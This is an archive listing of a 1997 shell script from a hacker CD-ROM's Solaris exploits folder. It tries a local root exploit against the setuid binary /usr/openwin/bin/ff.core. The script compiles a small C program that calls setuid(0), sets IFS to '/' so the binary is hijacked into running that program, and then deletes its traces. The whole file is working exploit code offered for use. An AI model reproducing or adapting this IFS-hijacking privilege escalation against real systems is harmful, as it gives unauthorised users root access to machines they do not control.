home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / solaris / sol-ffco.asc < prev    next >
Encoding:
Text File  |  1997-02-23  |  410 b   |  17 lines

  1. #!/bin/sh -f
  2.  
  3. # try to exploit ff.core hole (?? does solaris honour suid IFS changes?)
  4.  
  5. cat > usr.c << _EOF_
  6.  
  7. main() {
  8.  
  9. printf("uid=%d gid=%d\n", getuid(), getgid());
  10.  
  11.  setuid(0); setgid(0); seteuid(0); setegid(0);
  12.  
  13.  printf("uid after set=%d\n", getuid());
  14.  
  15. }
  16.  
  17. _EOF_
  18.  
  19. cc -o usr usr.c
  20.  
  21. chmod 700 usr
  22.  
  23. IFS="/"
  24.  
  25. export IFS
  26.  
  27. /usr/openwin/bin/ff.core 0 0 0 0 0
  28.  
  29. #ffc 0 0 fd0/fd0 1
  30.  
  31. rm -f usr usr.c
  32.  
  33.